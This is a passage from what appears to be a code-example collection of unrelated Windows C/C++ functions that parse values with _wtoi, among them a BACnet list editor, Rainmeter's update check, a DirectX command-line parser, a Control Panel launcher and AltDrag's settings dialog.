	if((lCol == VARIABLE_VALUE) &&(m_Variable_data.at(lRow).digital_analog == BAC_UNITS_DIGITAL ) && (m_Variable_data.at(lRow).auto_manual != BAC_AUTO))
	{
		
		
		CString temp1;
		CStringArray temparray;

		if((m_Variable_data.at(lRow).range < 23) &&(m_Variable_data.at(lRow).range !=0))
			temp1 = Digital_Units_Array[m_Variable_data.at(lRow).range];
		else if((m_Variable_data.at(lRow).range >=23) && (m_Variable_data.at(lRow).range <= 30))
		{
			if(receive_customer_unit)
				temp1 = temp_unit_no_index[m_Variable_data.at(lRow).range - 23];
			else
			{
				m_variable_list.Set_Edit(false);
				return;
			}
		}
		else
			return;
		SplitCStringA(temparray,temp1,_T("/"));



		if(m_Variable_data.at(lRow).control == 0)
		{
			m_Variable_data.at(lRow).control = 1;
			m_variable_list.SetItemText(lRow,VARIABLE_VALUE,temparray.GetAt(1));
			New_CString = temparray.GetAt(1);
		}
		else
		{
			m_Variable_data.at(lRow).control = 0;
			m_variable_list.SetItemText(lRow,VARIABLE_VALUE,temparray.GetAt(0));
			New_CString = temparray.GetAt(0);
		}
		m_variable_list.Set_Edit(false);

		temp_task_info.Format(_T("Write Variable List Item%d .Changed to \"%s\" "),lRow + 1,New_CString);
	}
	else if((lCol == VARIABLE_VALUE) &&(m_Variable_data.at(lRow).digital_analog == BAC_UNITS_ANALOG ) && (m_Variable_data.at(lRow).auto_manual == BAC_MANUAL) && (m_Variable_data.at(lRow).range == 20))
	{
		m_variable_list.Set_Edit(false);
		m_variable_time_picker.ShowWindow(SW_SHOW);
		CRect list_rect,win_rect;
		m_variable_list.GetWindowRect(list_rect);
		GetWindowRect(win_rect);
		CRect myrect;
		m_variable_list.GetSubItemRect(lRow,lCol,LVIR_BOUNDS,myrect);


		myrect.left = myrect.left + list_rect.left - win_rect.left  +2 ;
		myrect.right = myrect.right + list_rect.left - win_rect.left + 2;
		myrect.top = myrect.top + 24;
		myrect.bottom = myrect.bottom + 26;
		m_variable_time_picker.BringWindowToTop();
		m_variable_time_picker.MoveWindow(myrect);

		
		CString Temp_CString =  m_variable_list.GetItemText(lRow,lCol);

		CStringArray TEMPCS;
		int temp_hour,temp_minute,temp_second;
		SplitCStringA(TEMPCS, Temp_CString, _T(":"));
		if((int)TEMPCS.GetSize() <3)
		{
			temp_hour = 0;
			temp_minute = 0;
			temp_second = 0;
			CTime TimeTemp(2016,1,1,temp_hour,temp_minute,0);
			m_variable_time_picker.SetFormat(_T("HH:mm:ss"));
			m_variable_time_picker.SetTime(&TimeTemp);
			m_variable_time_picker.SetFocus();
		}
		else
		{
			temp_hour = _wtoi(TEMPCS.GetAt(0));
			temp_minute = _wtoi(TEMPCS.GetAt(1));
			temp_second = _wtoi(TEMPCS.GetAt(2));
			if(temp_hour >=24)
				temp_hour = 0;
			if(temp_minute >=60)
				temp_minute = 0;
			if(temp_second >= 60)
				temp_second = 0;
			CTime TimeTemp(2016,1,1,temp_hour,temp_minute,temp_second);
			m_variable_time_picker.SetFormat(_T("HH:mm:ss"));
			m_variable_time_picker.SetTime(&TimeTemp);
			m_variable_time_picker.SetFocus();
		}
		m_variable_list.SetItemText(lRow,lCol,_T(""));
		m_variable_time_picker.Invalidate();
		SetTimer(2,100,NULL);
	}
	else if(lCol == VARIABLE_VALUE)
	{
		if(m_Variable_data.at(lRow).auto_manual == BAC_AUTO)
		{
			m_variable_list.Set_Edit(false);
			return;
		}
	}
	else if(lCol == VARIABLE_AUTO_MANUAL)
	{
		if(m_Variable_data.at(lRow).auto_manual == 0)
		{
			m_Variable_data.at(lRow).auto_manual = 1;
			m_variable_list.SetItemText(lRow,VARIABLE_AUTO_MANUAL,_T("Manual"));
			New_CString = _T("Manual");
		}
		else
		{
			m_Variable_data.at(lRow).auto_manual = 0;
			m_variable_list.SetItemText(lRow,VARIABLE_AUTO_MANUAL,_T("Auto"));
			New_CString = _T("Auto");
		}
		temp_task_info.Format(_T("Write Variable List Item%d .Changed to \"%s\" "),lRow + 1,New_CString);
	}
	else if(lCol == VARIABLE_UNITE)
	{


		BacnetRange dlg;

		//点击产品的时候 需要读customer units,老的产品firmware 说不定没有 这些,所以不强迫要读到;
		if(!read_customer_unit)
		{

			int temp_invoke_id = -1;
			int send_status = true;
			int	resend_count = 0;
			for (int z=0;z<3;z++)
			{
				do 
				{
					resend_count ++;
					if(resend_count>5)
					{
						send_status = false;
						break;
					}
					temp_invoke_id =  GetPrivateData(
						g_bac_instance,
						READUNIT_T3000,
						0,
						BAC_CUSTOMER_UNITS_COUNT - 1,
						sizeof(Str_Units_element));		

					Sleep(SEND_COMMAND_DELAY_TIME);
				} while (g_invoke_id<0);
				if(send_status)
				{
					for (int z=0;z<1000;z++)
					{
						Sleep(1);
						if(tsm_invoke_id_free(temp_invoke_id))
						{
							read_customer_unit = true;
							break;
						}
						else
							continue;
					}

				}
				if(read_customer_unit)
					break;
			}

		}
		if(m_Variable_data.at(lRow).digital_analog == BAC_UNITS_ANALOG)
		{
			bac_ranges_type = VARIABLE_RANGE_ANALOG_TYPE;
			if(m_Variable_data.at(lRow).range > (sizeof(Variable_Analog_Units_Array) / sizeof(Variable_Analog_Units_Array[0])))
			{
				m_Variable_data.at(lRow).range = 0;
				bac_range_number_choose = 0;
			}
		}
		else
		{
			bac_ranges_type = VARIABLE_RANGE_DIGITAL_TYPE;
			if(m_Variable_data.at(lRow).range > 30)
			{
				m_Variable_data.at(lRow).range = 0;
				bac_range_number_choose = 0;
			}
		}


			initial_dialog = 1;
			bac_range_number_choose = m_Variable_data.at(lRow).range;
			dlg.DoModal();
			if(range_cancel)
			{
				PostMessage(WM_REFRESH_BAC_VARIABLE_LIST,lRow,REFRESH_ON_ITEM);//这里调用 刷新线程重新刷新会方便一点;
				return ;
			}
			if(bac_range_number_choose == 0)	//如果选择的是 unused 就认为是analog 的unused;这样 能显示对应的value;
			{
				m_Variable_data.at(lRow).digital_analog =  BAC_UNITS_ANALOG;
				bac_ranges_type = VARIABLE_RANGE_ANALOG_TYPE;
			}

			if(bac_ranges_type == VARIABLE_RANGE_ANALOG_TYPE)
			{
				m_Variable_data.at(lRow).digital_analog = BAC_UNITS_ANALOG;
				m_Variable_data.at(lRow).range = bac_range_number_choose;
				m_variable_list.SetItemText(lRow,lCol,Variable_Analog_Units_Array[bac_range_number_choose]);



				if(m_Variable_data.at(lRow).range == 20)	//如果是时间;
				{
					char temp_char[50];
					int time_seconds = m_Variable_data.at(lRow).value / 1000;
					intervaltotextfull(temp_char,time_seconds,0,0);

					CString temp_11;
					MultiByteToWideChar( CP_ACP, 0, temp_char, strlen(temp_char) + 1, 
						temp_11.GetBuffer(MAX_PATH), MAX_PATH );
					temp_11.ReleaseBuffer();		
					m_variable_list.SetItemText(lRow,VARIABLE_VALUE,temp_11);

				}
				else
				{
					CString cstemp_value;
					float temp_float_value;
					temp_float_value = ((float)m_Variable_data.at(lRow).value) / 1000;
					cstemp_value.Format(_T("%.3f"),temp_float_value);
					m_variable_list.SetItemText(lRow,VARIABLE_VALUE,cstemp_value);

					/*				cstemp_value.Format(_T("%d"),m_Variable_data.at(Changed_Item).value);
					m_variable_list.SetItemText(Changed_Item,VARIABLE_VALUE,cstemp_value);*/	
				}
			}
			else if((bac_ranges_type == VARIABLE_RANGE_DIGITAL_TYPE) || (bac_ranges_type == INPUT_RANGE_DIGITAL_TYPE) || (bac_ranges_type == OUTPUT_RANGE_DIGITAL_TYPE))
			{
				m_Variable_data.at(lRow).digital_analog = BAC_UNITS_DIGITAL;
				m_Variable_data.at(lRow).range = bac_range_number_choose;


				CStringArray temparray;
				if((bac_range_number_choose >= 23) && (bac_range_number_choose <= 30))
				{
					//temp1.Format(_T("%s"), temp_unit_no_index[bac_range_number_choose - 23]);
					temp1 = temp_unit_no_index[bac_range_number_choose - 23];
				}
				else
					temp1 = Digital_Units_Array[bac_range_number_choose];//22 is the sizeof the array

				SplitCStringA(temparray,temp1,_T("/"));





				if(m_Variable_data.at(lRow).control == 1)
				{
					if((temparray.GetSize()==2)&&(!temparray.GetAt(1).IsEmpty()))
					{
						m_variable_list.SetItemText(lRow,VARIABLE_VALUE,temparray.GetAt(1));
					}
				}
				else
				{
					if((temparray.GetSize()==2)&&(!temparray.GetAt(0).IsEmpty()))
					{
						m_variable_list.SetItemText(lRow,VARIABLE_VALUE,temparray.GetAt(0));
					}			
				}
				m_variable_list.SetItemText(lRow,VARIABLE_UNITE,temp1);
			}
		
	
	}
	else
	{
		return;
	}

	int cmp_ret = memcmp(&m_temp_variable_data[lRow],&m_Variable_data.at(lRow),sizeof(Str_variable_point));
	if(cmp_ret!=0)
	{
		m_variable_list.SetItemBkColor(lRow,lCol,LIST_ITEM_CHANGED_BKCOLOR);
		Post_Write_Message(g_bac_instance,WRITEVARIABLE_T3000,lRow,lRow,sizeof(Str_variable_point),m_variable_dlg_hwnd,temp_task_info,lRow,lCol);
	}
	*pResult = 0;
}
Example #25
0
void CheckVersion(void* dummy)
{
	HINTERNET hRootHandle = InternetOpen(
		L"Rainmeter",
		INTERNET_OPEN_TYPE_PRECONFIG,
		nullptr,
		nullptr,
		0);

	if (hRootHandle == nullptr)
	{
		return;
	}

	HINTERNET hUrlDump = InternetOpenUrl(
		hRootHandle, L"http://rainmeter.github.io/rainmeter/release", nullptr, 0, INTERNET_FLAG_RESYNCHRONIZE, 0);
	if (hUrlDump)
	{
		DWORD dwSize;
		char urlData[16] = {0};
		if (InternetReadFile(hUrlDump, (LPVOID)urlData, sizeof(urlData) - 1, &dwSize))
		{
			auto parseVersion = [](const WCHAR* str)->int
			{
				int version = _wtoi(str) * 1000000;
				const WCHAR* pos = wcschr(str, L'.');
				if (pos)
				{
					++pos;	// Skip .
					version += _wtoi(pos) * 1000;

					pos = wcschr(pos, '.');
					if (pos)
					{
						++pos;	// Skip .
						version += _wtoi(pos);
					}
				}
				return version;
			};

			std::wstring tmpSz = StringUtil::Widen(urlData);
			const WCHAR* version = tmpSz.c_str();

			int availableVersion = parseVersion(version);
			if (availableVersion > RAINMETER_VERSION ||
				(revision_beta && availableVersion == RAINMETER_VERSION))
			{
				GetRainmeter().SetNewVersion();

				WCHAR buffer[32];
				const WCHAR* dataFile = GetRainmeter().GetDataFile().c_str();
				GetPrivateProfileString(L"Rainmeter", L"LastCheck", L"0", buffer, _countof(buffer), dataFile);

				// Show tray notification only once per new version
				int lastVersion = parseVersion(buffer);
				if (availableVersion > lastVersion)
				{
					GetRainmeter().GetTrayIcon()->ShowUpdateNotification(version);
					WritePrivateProfileString(L"Rainmeter", L"LastCheck", version, dataFile);
				}
			}
		}
		InternetCloseHandle(hUrlDump);
	}

	InternetCloseHandle(hRootHandle);
}
// Parse the command line for the parameters
// Only parameters that are specified on the command line are updated, if there
// are no parameters for a value, the previous WindowParams settings passed in
// are preserved
//-----------------------------------------------------------------------------
CPUTResult CPUT_DX11::CPUTParseCommandLine(cString commandLine, CPUTWindowCreationParams *pWindowParams, cString *pFilename)
{
    ASSERT( (NULL!=pWindowParams), _L("Required command line parsing parameter is NULL"));
    ASSERT( (NULL!=pFilename), _L("Required command line parsing parameter is NULL"));
   
    // there are no command line parameters, just return
    if(0==commandLine.size())
    {
        return CPUT_SUCCESS;
    }

    // we do have parameters, so parse them.
#if defined (UNICODE) || defined(_UNICODE)
    // convert command line to lowercase version
    cString CommandLineParams(commandLine);        
    std::transform(CommandLineParams.begin(), CommandLineParams.end(), CommandLineParams.begin(), ::tolower);

    // special case - double-clicked on a file
    // In the case someone has associated .set files with CPUT, then the target set file comes in surrounded
    // by quote marks (i.e. "c:\SoftwareOcclusionCulling\Asset\City.set").  If the first char is a quote mark, we're in this
    // special case
    if('"' == CommandLineParams[0])
    {
        pFilename->assign(&CommandLineParams[1]);   // remove the leading " char
        (*pFilename)[pFilename->size()-1] = '\0';   // remove the trailing " char
        return CPUT_SUCCESS;
    }

    wchar_t separators[]   = L" \t\n";
    wchar_t* nextToken = NULL;
    wchar_t* token = wcstok_s((wchar_t*)CommandLineParams.c_str(), separators, &nextToken);
    while(token) 
    {
        if('-' == token[0])
        {
            // parameter - get next token for which one
            cString ParameterName(&token[1]);
            if(0!=ParameterName.size())
            {
                if(0==ParameterName.compare(_L("width")))
                {
                    // get the next value
                    token = wcstok_s(NULL, separators, &nextToken); 
                    ASSERT(token, _L("-width command line parameter missing required numerical value"));
                    pWindowParams->windowWidth = _wtoi(token);
                }
                else if(0==ParameterName.compare(_L("height")))
                {
                    // get the next value
                    token = wcstok_s(NULL, separators, &nextToken); 
                    ASSERT(token, _L("-height command line parameter missing required numerical value"));
                    pWindowParams->windowHeight = _wtoi(token);
                }
                else if(0==ParameterName.compare(_L("fullscreen")))
                {
                    // get the bool 
                    token = wcstok_s(NULL, separators, &nextToken); 
                    cString boolString(token);
                    if(0==boolString.compare(_L("true")))
                    {
                        pWindowParams->startFullscreen = true;
                    }
                }
                else if(0==ParameterName.compare(_L("vsync")))
                {
                    // get the bool 
                    token = wcstok_s(NULL, separators, &nextToken); 
                    cString boolString(token);
                    if( (0==boolString.compare(_L("on"))) || (0==boolString.compare(_L("true"))) )
                    {
                        // vsync set to 30 FPS
                        pWindowParams->deviceParams.refreshRate = 30;
                    }
					if( (0==boolString.compare(_L("off"))) || (0==boolString.compare(_L("false"))) )
					{
						pWindowParams->deviceParams.refreshRate = 0;
					}
                }
                else if(0==ParameterName.compare(_L("xpos")))
                {
                    // get the next value
                    token = wcstok_s(NULL, separators, &nextToken); 
                    ASSERT(token, _L("-xpos command line parameter missing required numerical value"));
                    pWindowParams->windowPositionX = _wtoi(token);
                }
                else if(0==ParameterName.compare(_L("ypos")))
                {
                    // get the next value
                    token = wcstok_s(NULL, separators, &nextToken); 
                    ASSERT(token, _L("-ypos command line parameter missing required numerical value"));
                    pWindowParams->windowPositionY = _wtoi(token);
                }
                else if(0==ParameterName.compare(_L("file")))
                {
                    // get the filename 
                    token = wcstok_s(NULL, separators, &nextToken);
                    pFilename->assign(token);
                }
                else
                {
                    // we don't know what the string was, but all specified ones should be of the form
                    // '-<keyword> <value>' 
                    // so skip over the <value> part
                    token = wcstok_s(NULL, separators, &nextToken); 
                }
                
                // we don't know what this parameter is, let user parse it
            }
        }
        
        // advance to next token
        token = wcstok_s(NULL, separators, &nextToken);
    }
#else
    ASSERT(false, _L("CPUT_DX11::CPUTParseCommandLine non-UNICODE version not written yet - need to write if we want to support multi-byte"));
#endif     
    
    return CPUT_SUCCESS;
}
Example #27
0
static void Control_DoLaunch(CPanel *pPanel, HWND hWnd, LPCWSTR pwszCmd)
{
    HANDLE hMutex;

    /* Make a pwszCmd copy so we can modify it */
    LPWSTR pwszCmdCopy = _wcsdup(pwszCmd);

    LPWSTR pwszPath = pwszCmdCopy, pwszArg = NULL, pwszArg2 = NULL;
    if (!pwszCmdCopy)
        return;

    /* Path can be quoted */
    if (pwszPath[0] == L'"')
    {
        ++pwszPath;
        pwszArg = wcschr(pwszPath, L'"');
        if (pwszArg)
            *(pwszArg++) = '\0';
    }
    else
        pwszArg = pwszCmdCopy;

    /* First argument starts after space or ','. Note: we ignore characters between '"' and ',' or ' '. */
    if (pwszArg)
        pwszArg = wcspbrk(pwszArg, L" ,");
    if (pwszArg)
    {
        /* NULL terminate path and find first character of arg */
        *(pwszArg++) = L'\0';
        if (pwszArg[0] == L'"')
        {
            ++pwszArg;
            pwszArg2 = wcschr(pwszArg, L'"');
            if (pwszArg2)
                *(pwszArg2++) = L'\0';
        } else
            pwszArg2 = pwszArg;

        /* Second argument always starts with ','. Note: we ignore characters between '"' and ','. */
        if (pwszArg2)
            pwszArg2 = wcschr(pwszArg2, L',');
    }

    TRACE("Launch %ls, arg %ls, arg2 %ls\n", pwszPath, pwszArg, pwszArg2);

    /* Create a mutex to disallow running multiple instances */
    hMutex = CreateMutexW(NULL, TRUE, PathFindFileNameW(pwszPath));
    if (!hMutex || GetLastError() == ERROR_ALREADY_EXISTS)
    {
        TRACE("Next instance disallowed\n");
        if (hMutex)
            CloseHandle(hMutex);
        return;
    }

    /* Load applet cpl */
    TRACE("Load applet %ls\n", pwszPath);
    Control_LoadApplet(hWnd, pwszPath, pPanel);
    if (pPanel->first)
    {
        INT i = 0;
        /* First pPanel applet is the new one */
        CPlApplet *pApplet = pPanel->first;
        assert(pApplet && pApplet->next == NULL);
        TRACE("pApplet->count %d\n", pApplet->count);

        /* Note: if there is only one applet, first argument is ignored */
        if (pApplet->count > 1 && pwszArg && pwszArg[0])
        {
            /* If arg begins with '@', number specifies applet index */
            if (pwszArg[0] == L'@')
                i = _wtoi(pwszArg + 1);
            else
            {
                /* Otherwise it's applet name */
                for (i = 0; i < (INT)pApplet->count; ++i)
                    if (!wcscmp(pwszArg, pApplet->info[i].szName))
                        break;
            }
        }

        if (i >= 0 && i < (INT)pApplet->count && pApplet->info[i].dwSize)
        {
            /* Start the applet */
            TRACE("Starting applet %d\n", i);
            if (!pApplet->proc(pApplet->hWnd, CPL_STARTWPARMSW, i, (LPARAM)pwszArg))
                pApplet->proc(pApplet->hWnd, CPL_DBLCLK, i, pApplet->info[i].lData);
        } else
            ERR("Applet not found: %ls\n", pwszArg ? pwszArg : L"NULL");

        Control_UnloadApplet(pApplet);
    }
    else
        ERR("Failed to load applet %ls\n", pwszPath);

    ReleaseMutex(hMutex);
    CloseHandle(hMutex);
    free(pwszCmdCopy);
}
Example #28
0
INT_PTR CALLBACK GeneralPageDialogProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
  int updatestrings = 0;
  if (msg == WM_INITDIALOG) {
    wchar_t txt[20];
    GetPrivateProfileString(L"General", L"AutoFocus", L"0", txt, ARRAY_SIZE(txt), inipath);
    Button_SetCheck(GetDlgItem(hwnd,IDC_AUTOFOCUS), _wtoi(txt)?BST_CHECKED:BST_UNCHECKED);

    GetPrivateProfileString(L"General", L"Aero", L"2", txt, ARRAY_SIZE(txt), inipath);
    Button_SetCheck(GetDlgItem(hwnd,IDC_AERO), _wtoi(txt)?BST_CHECKED:BST_UNCHECKED);

    GetPrivateProfileString(L"General", L"InactiveScroll", L"1", txt, ARRAY_SIZE(txt), inipath);
    Button_SetCheck(GetDlgItem(hwnd,IDC_INACTIVESCROLL), _wtoi(txt)?BST_CHECKED:BST_UNCHECKED);

    GetPrivateProfileString(L"General", L"MDI", L"0", txt, ARRAY_SIZE(txt), inipath);
    Button_SetCheck(GetDlgItem(hwnd,IDC_MDI), _wtoi(txt)?BST_CHECKED:BST_UNCHECKED);

    HWND control = GetDlgItem(hwnd, IDC_LANGUAGE);
    ComboBox_ResetContent(control);
    if (l10n == &l10n_ini) {
      ComboBox_AddString(control, l10n->lang);
      ComboBox_SetCurSel(control, 0);
      ComboBox_Enable(control, FALSE);
    }
    else {
      ComboBox_Enable(control, TRUE);
      int i;
      for (i=0; i < ARRAY_SIZE(languages); i++) {
        ComboBox_AddString(control, languages[i]->lang);
        if (l10n == languages[i]) {
          ComboBox_SetCurSel(control, i);
        }
      }
    }

    Button_Enable(GetDlgItem(hwnd,IDC_ELEVATE), vista && !elevated);
  }
  else if (msg == WM_COMMAND) {
    int id = LOWORD(wParam);
    int event = HIWORD(wParam);
    HWND control = GetDlgItem(hwnd, id);
    int val = Button_GetCheck(control);
    wchar_t txt[10];

    if (id == IDC_AUTOFOCUS) {
      WritePrivateProfileString(L"General", L"AutoFocus", _itow(val,txt,10), inipath);
    }
    else if (id == IDC_AUTOSNAP && event == CBN_SELCHANGE) {
      val = ComboBox_GetCurSel(control);
      WritePrivateProfileString(L"General", L"AutoSnap", _itow(val,txt,10), inipath);
    }
    else if (id == IDC_AERO) {
      WritePrivateProfileString(L"General", L"Aero", _itow(val,txt,10), inipath);
    }
    else if (id == IDC_INACTIVESCROLL) {
      WritePrivateProfileString(L"General", L"InactiveScroll", _itow(val,txt,10), inipath);
    }
    else if (id == IDC_MDI) {
      WritePrivateProfileString(L"General", L"MDI", _itow(val,txt,10), inipath);
    }
    else if (id == IDC_LANGUAGE && event == CBN_SELCHANGE) {
      int i = ComboBox_GetCurSel(control);
      if (i == ARRAY_SIZE(languages)) {
        OpenUrl(L"https://stefansundin.github.io/altdrag/doc/translate.html");
        for (i=0; l10n != languages[i]; i++) {}
        ComboBox_SetCurSel(control, i);
      }
      else {
        l10n = languages[i];
        WritePrivateProfileString(L"General", L"Language", l10n->code, inipath);
        updatestrings = 1;
        UpdateStrings();
      }
    }
    else if (id == IDC_AUTOSTART) {
      SetAutostart(val, 0, 0);
      Button_Enable(GetDlgItem(hwnd,IDC_AUTOSTART_HIDE), val);
      Button_Enable(GetDlgItem(hwnd,IDC_AUTOSTART_ELEVATE), val && vista);
      if (!val) {
        Button_SetCheck(GetDlgItem(hwnd,IDC_AUTOSTART_HIDE), BST_UNCHECKED);
        Button_SetCheck(GetDlgItem(hwnd,IDC_AUTOSTART_ELEVATE), BST_UNCHECKED);
      }
    }
    else if (id == IDC_AUTOSTART_HIDE) {
      int elevate = Button_GetCheck(GetDlgItem(hwnd,IDC_AUTOSTART_ELEVATE));
      SetAutostart(1, val, elevate);
    }
    else if (id == IDC_AUTOSTART_ELEVATE) {
      int hide = Button_GetCheck(GetDlgItem(hwnd,IDC_AUTOSTART_HIDE));
      SetAutostart(1, hide, val);
      if (val) {
        // Don't nag if UAC is disabled, only check if elevated
        DWORD uac_enabled = 1;
        if (elevated) {
          DWORD len = sizeof(uac_enabled);
          HKEY key;
          RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_QUERY_VALUE, &key);
          RegQueryValueEx(key, L"EnableLUA", NULL, NULL, (LPBYTE)&uac_enabled, &len);
          RegCloseKey(key);
        }
        if (uac_enabled) {
          MessageBox(NULL, l10n->general_autostart_elevate_tip, APP_NAME, MB_ICONINFORMATION|MB_OK);
        }
      }
    }
    else if (id == IDC_ELEVATE && MessageBox(NULL,l10n->general_elevate_tip,APP_NAME,MB_ICONINFORMATION|MB_OK)) {
      wchar_t path[MAX_PATH];
      GetModuleFileName(NULL, path, ARRAY_SIZE(path));
      if ((INT_PTR)ShellExecute(NULL,L"runas",path,L"-config -multi",NULL,SW_SHOWNORMAL) > 32) {
        PostMessage(g_hwnd, WM_CLOSE, 0, 0);
      }
      else {
        MessageBox(NULL, l10n->general_elevation_aborted, APP_NAME, MB_ICONINFORMATION|MB_OK);
      }
      return;
    }
    UpdateSettings();
  }
  else if (msg == WM_NOTIFY) {
    LPNMHDR pnmh = (LPNMHDR) lParam;
    if (pnmh->code == PSN_SETACTIVE) {
      updatestrings = 1;

      // Autostart
      int autostart=0, hidden=0, elevated=0;
      CheckAutostart(&autostart, &hidden, &elevated);
      Button_SetCheck(GetDlgItem(hwnd,IDC_AUTOSTART), autostart?BST_CHECKED:BST_UNCHECKED);
      Button_SetCheck(GetDlgItem(hwnd,IDC_AUTOSTART_HIDE), hidden?BST_CHECKED:BST_UNCHECKED);
      Button_SetCheck(GetDlgItem(hwnd,IDC_AUTOSTART_ELEVATE), elevated?BST_CHECKED:BST_UNCHECKED);
      Button_Enable(GetDlgItem(hwnd,IDC_AUTOSTART_HIDE), autostart);
      Button_Enable(GetDlgItem(hwnd,IDC_AUTOSTART_ELEVATE), autostart && vista);
    }
  }
  if (updatestrings) {
    // Update text
    SetDlgItemText(hwnd, IDC_GENERAL_BOX,        l10n->general_box);
    SetDlgItemText(hwnd, IDC_AUTOFOCUS,          l10n->general_autofocus);
    SetDlgItemText(hwnd, IDC_AERO,               l10n->general_aero);
    SetDlgItemText(hwnd, IDC_INACTIVESCROLL,     l10n->general_inactivescroll);
    SetDlgItemText(hwnd, IDC_MDI,                l10n->general_mdi);
    SetDlgItemText(hwnd, IDC_AUTOSNAP_HEADER,    l10n->general_autosnap);
    SetDlgItemText(hwnd, IDC_LANGUAGE_HEADER,    l10n->general_language);
    SetDlgItemText(hwnd, IDC_AUTOSTART_BOX,      l10n->general_autostart_box);
    SetDlgItemText(hwnd, IDC_AUTOSTART,          l10n->general_autostart);
    SetDlgItemText(hwnd, IDC_AUTOSTART_HIDE,     l10n->general_autostart_hide);
    SetDlgItemText(hwnd, IDC_AUTOSTART_ELEVATE,  l10n->general_autostart_elevate);
    SetDlgItemText(hwnd, IDC_ELEVATE,            (elevated?l10n->general_elevated:l10n->general_elevate));
    SetDlgItemText(hwnd, IDC_AUTOSAVE,           l10n->general_autosave);

    // AutoSnap
    HWND control = GetDlgItem(hwnd, IDC_AUTOSNAP);
    ComboBox_ResetContent(control);
    ComboBox_AddString(control, l10n->general_autosnap0);
    ComboBox_AddString(control, l10n->general_autosnap1);
    ComboBox_AddString(control, l10n->general_autosnap2);
    ComboBox_AddString(control, l10n->general_autosnap3);
    wchar_t txt[10];
    GetPrivateProfileString(L"General", L"AutoSnap", L"0", txt, ARRAY_SIZE(txt), inipath);
    ComboBox_SetCurSel(control, _wtoi(txt));

    // Language
    control = GetDlgItem(hwnd, IDC_LANGUAGE);
    ComboBox_DeleteString(control, ARRAY_SIZE(languages));
    if (l10n == &en_US) {
      ComboBox_AddString(control, L"How can I help translate?");
    }
  }
  return FALSE;
}
Example #29
0
// 更新控件状态
BOOL CDlgCheckRulePara::UpdateControlByCheckRule(const CheckRule &checkRule)
{
	UpdateFilterControlByCheckRule(checkRule);

	// 解析规则
	CString strParaName;
	int nCount = (int)checkRule.arrRuleContent.GetCount();
	if (nCount >= 5)
	{
		strParaName = checkRule.arrRuleContent[0];
		m_strParaValue = checkRule.arrRuleContent[1];
		m_bMatchCase = _wtoi(checkRule.arrRuleContent[2]);
		m_nCheckType = _wtoi(checkRule.arrRuleContent[3]);
		m_bCheckDesignationStatus = _wtoi(checkRule.arrRuleContent[4]);

		if (nCount >=6)
		{
			m_strPath = checkRule.arrRuleContent[5];
		}
	}
	else
		return FALSE;
	
	// 设置控件
	m_cmbParaName.ResetContent();
	int nFind = -1;
	for (int i = 0; i < theApp.m_arrMdlParam.GetSize(); i++)
	{
		m_cmbParaName.AddString(theApp.m_arrMdlParam[i]);
		if (strParaName.CompareNoCase(theApp.m_arrMdlParam[i]) == 0)
		{
			nFind = i;
		}
	}
	if (nFind >= 0)
		m_cmbParaName.SetCurSel(nFind);
	else
		m_cmbParaName.SetWindowText(strParaName);

	BOOL bCheckValue = FALSE, bCheckTable = FALSE;
	switch (m_nCheckType)
	{
	case PARA_EXIST:
		CheckRadioButton(IDC_RADIO_PARA_EXIST, IDC_RADIO_PARA_TABLE, IDC_RADIO_PARA_EXIST);
		break;
	case PARA_VALUE:
		CheckRadioButton(IDC_RADIO_PARA_EXIST, IDC_RADIO_PARA_TABLE, IDC_RADIO_PARA_VALUE);
		bCheckValue = TRUE;
		break;
	case PARA_TABLE:
		CheckRadioButton(IDC_RADIO_PARA_EXIST, IDC_RADIO_PARA_TABLE, IDC_RADIO_PARA_TABLE);
		bCheckTable = TRUE;
		break;
	case PARA_NOEXIST:
		CheckRadioButton(IDC_RADIO_PARA_EXIST, IDC_RADIO_PARA_TABLE, IDC_RADIO_PARA_NOEXIST);
		break;
	default:
		CheckRadioButton(IDC_RADIO_PARA_EXIST, IDC_RADIO_PARA_TABLE, IDC_RADIO_PARA_EXIST);
		break;
	}

	GetDlgItem(IDC_CMB_PARA_NAME)->EnableWindow(!bCheckTable);
	GetDlgItem(IDC_CHECK_DESIGNATION_STATUS)->EnableWindow((m_nCheckType != PARA_NOEXIST) && (m_nCheckType != PARA_TABLE));
	GetDlgItem(IDC_EDIT_PARA_VALUE)->EnableWindow(bCheckValue);
	GetDlgItem(IDC_CHECK_MATCH_CASE)->EnableWindow(bCheckValue);
	GetDlgItem(IDC_BTN_ADD_PARA)->EnableWindow(bCheckValue);
	GetDlgItem(IDC_BTN_PARA_OPENFILE)->EnableWindow(bCheckTable);
	GetDlgItem(IDC_CMB_PARA_FILEPATH)->EnableWindow(bCheckTable);

	m_cmbPath.ResetContent();
	if (PARA_TABLE == m_nCheckType && m_strPath.CompareNoCase(L"") != 0)
	{
		m_cmbPath.AddString(m_strPath);
	}
	int nItem = m_cmbPath.AddString(L"内嵌参数表格");
	m_cmbPath.SetItemData(nItem, 1);
	nItem = m_cmbPath.AddString(L"选择其他...");
	m_cmbPath.SetItemData(nItem, 2);
	
	m_cmbPath.SetCurSel(0);

	// 设置默认模型类型
	SetModelFilterControl(this, checkRule.dwMdlFilter);

	UpdateData(FALSE);
	return TRUE;
}
BOOL CommandLineArguements(HWND hwnd, LPCTSTR pCmdLine)
{
	if (pCmdLine == NULL) {
		return FALSE;
	}

	if (hwnd) {
		if (wcsicmp(pCmdLine, L"reload") == 0) {
			PostMessage(hwnd, WM_TIMER, TIMER_ACTUALIZA_NOTIF, 0);
			return TRUE;
		} else if (wcsicmp(pCmdLine, L"relaunch") == 0) {
			PostMessage(hwnd, WM_USER_RELAUNCH, 0, 0);
			return TRUE;
		} else if (wcsicmp(pCmdLine, L"add") == 0) {
			PostMessage(hwnd, WM_USER_ADD, 0, 0);
			return TRUE;
		} else if (wcsicmp(pCmdLine, L"options") == 0) {
			PostMessage(hwnd, WM_USER_OPTIONS, -1, 0);
			return TRUE;
		} else if (_wcsnicmp(pCmdLine, L"options:", wcslen(L"options:")) == 0) {
			int l = wcslen(L"options:");
			PostMessage(hwnd, WM_USER_OPTIONS, _wtoi(pCmdLine + l), 0);
			return TRUE;
		} else if (_wcsnicmp(pCmdLine, L"goto:", wcslen(L"goto:")) == 0) {
			int l = wcslen(L"goto:");
			if (wcsicmp(pCmdLine + l, L"next") == 0 || wcsicmp(pCmdLine + l, L"right") == 0) {
				PostMessage(hwnd, WM_USER_GOTO_NEXT, 0, 0);
